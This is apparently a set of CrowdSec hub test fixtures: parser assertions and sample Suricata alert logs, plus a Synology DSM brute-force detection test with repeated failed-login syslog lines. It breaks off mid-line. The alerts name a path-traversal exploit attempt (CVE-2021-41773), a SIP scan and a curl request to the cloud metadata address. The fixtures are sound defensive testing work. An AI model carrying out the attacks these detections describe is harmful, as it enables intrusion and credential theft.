results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Meta["sub_log_type"] == "suricata_alert_fast_log" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Success == true results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["suricata_timestamp"] == "07/11/2022 10:29:32.251216" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["suricata_priority"] == "2" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["dest_ip"] == "172.31.18.55" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["dest_port"] == "5060" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["message"] == "07/11/2022-10:29:32.251216 [**] [1:2008578:4] ET SCAN Sipvicious Scan [**] [Classification: Attempted Information Leak] [Priority: 2] {UDP} 89.248.163.216:5116 -> 172.31.18.55:5060" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["proto"] == "UDP" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["source_port"] == "5116" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["suricata_classification"] == "Attempted Information Leak" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["source_ip"] == "89.248.163.216" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["suricata_alert_signature"] == "ET SCAN Sipvicious Scan" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["date"] == "07/11/2022" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["program"] == "suricata-fastlogs" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["rule_id"] == "2008578" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["suricata_alert_signature_rev"] == "4" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Parsed["time"] == "10:29:32.251216" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Meta["log_type"] == "suricata_alert" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Meta["service"] == "suricata" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Meta["source_ip"] == "89.248.163.216" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Meta["sub_log_type"] == "suricata_alert_fast_log" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Meta["suricata_alert_signature_id"] == "2008578" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Meta["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Success == true results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["suricata_classification"] == "Potentially Bad Traffic" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["suricata_priority"] == "2" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["suricata_timestamp"] == "07/11/2022 08:36:12.345430" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["date"] == "07/11/2022" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["dest_ip"] == "169.254.169.254" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["program"] == "suricata-fastlogs" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["time"] == "08:36:12.345430" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["dest_port"] == "80" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["rule_id"] == "2034567" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["suricata_alert_signature"] == "ET HUNTING curl User-Agent to Dotted Quad" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["suricata_alert_signature_rev"] == "1" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["message"] == "07/11/2022-08:36:12.345430 [**] [1:2034567:1] ET HUNTING curl User-Agent to Dotted Quad [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 172.31.18.55:57194 -> 169.254.169.254:80" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["source_ip"] == "172.31.18.55" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["source_port"] == "57194" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Parsed["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Meta["log_type"] == "suricata_alert" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Meta["service"] == "suricata" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Meta["source_ip"] == "172.31.18.55" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Meta["sub_log_type"] == "suricata_alert_fast_log" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Meta["suricata_alert_signature_id"] == "2034567" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Meta["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Success == true results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["date"] == "07/11/2022" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["program"] == "suricata-fastlogs" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["suricata_alert_signature"] == "ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["suricata_classification"] == "Attempted Administrator Privilege Gain" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["time"] == "06:09:52.602489" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["source_ip"] == "185.7.214.104" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["suricata_timestamp"] == "07/11/2022 06:09:52.602489" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["dest_ip"] == "172.31.18.55" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["message"] == "07/11/2022-06:09:52.602489 [**] [1:2034125:4] ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2 [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 185.7.214.104:36288 -> 172.31.18.55:80" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["suricata_priority"] == "1" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["dest_port"] == "80" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["rule_id"] == "2034125" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["source_port"] == "36288" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["suricata_alert_signature_rev"] == "4" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Parsed["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Meta["service"] == "suricata" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Meta["source_ip"] == "185.7.214.104" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Meta["sub_log_type"] == "suricata_alert_fast_log" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Meta["suricata_alert_signature_id"] == "2034125" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Meta["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Evt.Meta["log_type"] == "suricata_alert" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 4 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "07/11/2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["suricata_priority"] == "3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["dest_ip"] == "172.31.18.55" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["rule_id"] == "2200074" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_port"] == "28487" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["suricata_alert_signature_rev"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["suricata_timestamp"] == "07/11/2022 10:29:01.860293" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["dest_port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["proto"] == "TCP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["suricata_alert_signature"] == "SURICATA TCPv4 invalid checksum" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "10:29:01.860293" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "07/11/2022-10:29:01.860293 [**] [1:2200074:2] SURICATA TCPv4 invalid checksum [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 2.57.122.209:28487 -> 172.31.18.55:80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "suricata-fastlogs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "2.57.122.209" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["suricata_classification"] == "Generic Protocol Command Decode" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "suricata_alert" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "2.57.122.209" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["sub_log_type"] == "suricata_alert_fast_log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "suricata" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["suricata_alert_signature_id"] == "2200074" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-07-11T10:29:01.860293Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-07-11T10:29:01.860293Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["suricata_alert_signature_rev"] == "4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["suricata_priority"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "10:29:32.251216" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["dest_ip"] == "172.31.18.55" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "07/11/2022-10:29:32.251216 [**] [1:2008578:4] ET SCAN Sipvicious Scan [**] [Classification: Attempted Information Leak] [Priority: 2] {UDP} 89.248.163.216:5116 -> 172.31.18.55:5060" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["rule_id"] == "2008578" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["suricata_alert_signature"] == "ET SCAN Sipvicious Scan" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["suricata_timestamp"] == "07/11/2022 10:29:32.251216" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["dest_port"] == "5060" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "suricata-fastlogs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["proto"] == "UDP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["suricata_classification"] == "Attempted Information Leak" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "89.248.163.216" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_port"] == "5116" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["date"] == "07/11/2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "suricata_alert" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "suricata" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["sub_log_type"] == "suricata_alert_fast_log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "89.248.163.216" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["suricata_alert_signature_id"] == "2008578" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-07-11T10:29:32.251216Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-07-11T10:29:32.251216Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["dest_ip"] == "169.254.169.254" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "08:36:12.345430" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "07/11/2022-08:36:12.345430 [**] [1:2034567:1] ET HUNTING curl User-Agent to Dotted Quad [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 172.31.18.55:57194 -> 169.254.169.254:80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["rule_id"] == "2034567" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "172.31.18.55" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["suricata_priority"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["dest_port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["suricata_alert_signature"] == "ET HUNTING curl User-Agent to Dotted Quad" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["suricata_alert_signature_rev"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["suricata_classification"] == "Potentially Bad Traffic" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["suricata_timestamp"] == "07/11/2022 08:36:12.345430" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["date"] == "07/11/2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "suricata-fastlogs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["proto"] == "TCP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_port"] == "57194" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "suricata" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["suricata_alert_signature_id"] == "2034567" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "suricata_alert" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-07-11T08:36:12.34543Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "172.31.18.55" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["sub_log_type"] == "suricata_alert_fast_log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-07-11T08:36:12.34543Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "07/11/2022-06:09:52.602489 [**] [1:2034125:4] ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2 [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 185.7.214.104:36288 -> 172.31.18.55:80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["suricata_alert_signature_rev"] == "4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["suricata_priority"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "suricata-fastlogs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["rule_id"] == "2034125" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_port"] == "36288" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["suricata_classification"] == "Attempted Administrator Privilege Gain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["suricata_timestamp"] == "07/11/2022 06:09:52.602489" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["date"] == "07/11/2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["dest_ip"] == "172.31.18.55" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["proto"] == "TCP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "185.7.214.104" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["suricata_alert_signature"] == "ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["dest_port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["time"] == "06:09:52.602489" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "suricata_alert" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["suricata_alert_signature_id"] == "2034125" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "suricata" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "185.7.214.104" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["sub_log_type"] == "suricata_alert_fast_log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-07-11T06:09:52.602489Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-07-11T06:09:52.602489Z" len(results["success"][""]) == 0 hub1/.tests/suricata-logs-fastlog/suricata-logs-fastlog.log000066400000000000000000000014651437532772500243110ustar00rootroot0000000000000007/11/2022-10:29:01.860293 [**] [1:2200074:2] SURICATA TCPv4 invalid checksum [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 2.57.122.209:28487 -> 172.31.18.55:80 07/11/2022-10:29:32.251216 [**] [1:2008578:4] ET SCAN Sipvicious Scan [**] [Classification: Attempted Information Leak] [Priority: 2] {UDP} 89.248.163.216:5116 -> 172.31.18.55:5060 07/11/2022-08:36:12.345430 [**] [1:2034567:1] ET HUNTING curl User-Agent to Dotted Quad [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 172.31.18.55:57194 -> 169.254.169.254:80 07/11/2022-06:09:52.602489 [**] [1:2034125:4] ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2 [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 185.7.214.104:36288 -> 172.31.18.55:80 hub1/.tests/synology-dsm-bf/000077500000000000000000000000001437532772500162055ustar00rootroot00000000000000hub1/.tests/synology-dsm-bf/config.yaml000066400000000000000000000004401437532772500203340ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/synology-dsm-logs.yaml scenarios: - ./scenarios/crowdsecurity/synology-dsm-bf.yaml postoverflows: - "" log_file: synology-dsm-bf.log log_type: syslog labels: {} ignore_parsers: true hub1/.tests/synology-dsm-bf/parser.assert000066400000000000000000000000001437532772500207120ustar00rootroot00000000000000hub1/.tests/synology-dsm-bf/scenario.assert000066400000000000000000000063661437532772500212460ustar00rootroot00000000000000results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "synology-dsm-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "synology-dsm_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "synologynas" results[0].Overflow.Alert.Events[0].GetMeta("service") == "synology-dsm" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "10.4.2.113" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-09T20:55:18+01:00" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "synology-dsm-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "synology-dsm_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "synologynas" results[0].Overflow.Alert.Events[1].GetMeta("service") == "synology-dsm" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "10.4.2.113" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-09T20:55:18+01:00" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "synology-dsm-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "synology-dsm_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "synologynas" results[0].Overflow.Alert.Events[2].GetMeta("service") == "synology-dsm" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "10.4.2.113" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-09T20:55:18+01:00" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "synology-dsm-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "synology-dsm_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "synologynas" results[0].Overflow.Alert.Events[3].GetMeta("service") == "synology-dsm" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "10.4.2.113" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-09T20:55:18+01:00" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "synology-dsm-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "synology-dsm_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "synologynas" results[0].Overflow.Alert.Events[4].GetMeta("service") == "synology-dsm" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "10.4.2.113" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-09T20:55:18+01:00" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "synology-dsm-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "synology-dsm_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "synologynas" results[0].Overflow.Alert.Events[5].GetMeta("service") == "synology-dsm" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "10.4.2.113" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-09T20:55:18+01:00" hub1/.tests/synology-dsm-bf/synology-dsm-bf.log000066400000000000000000000045661437532772500217540ustar00rootroot000000000000002022-02-09T20:53:37+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2197]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.112 2022-02-09T20:53:48+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2209]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.112 2022-02-09T20:54:00+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2368]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.116 2022-02-09T20:55:08+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2706]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.114 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= 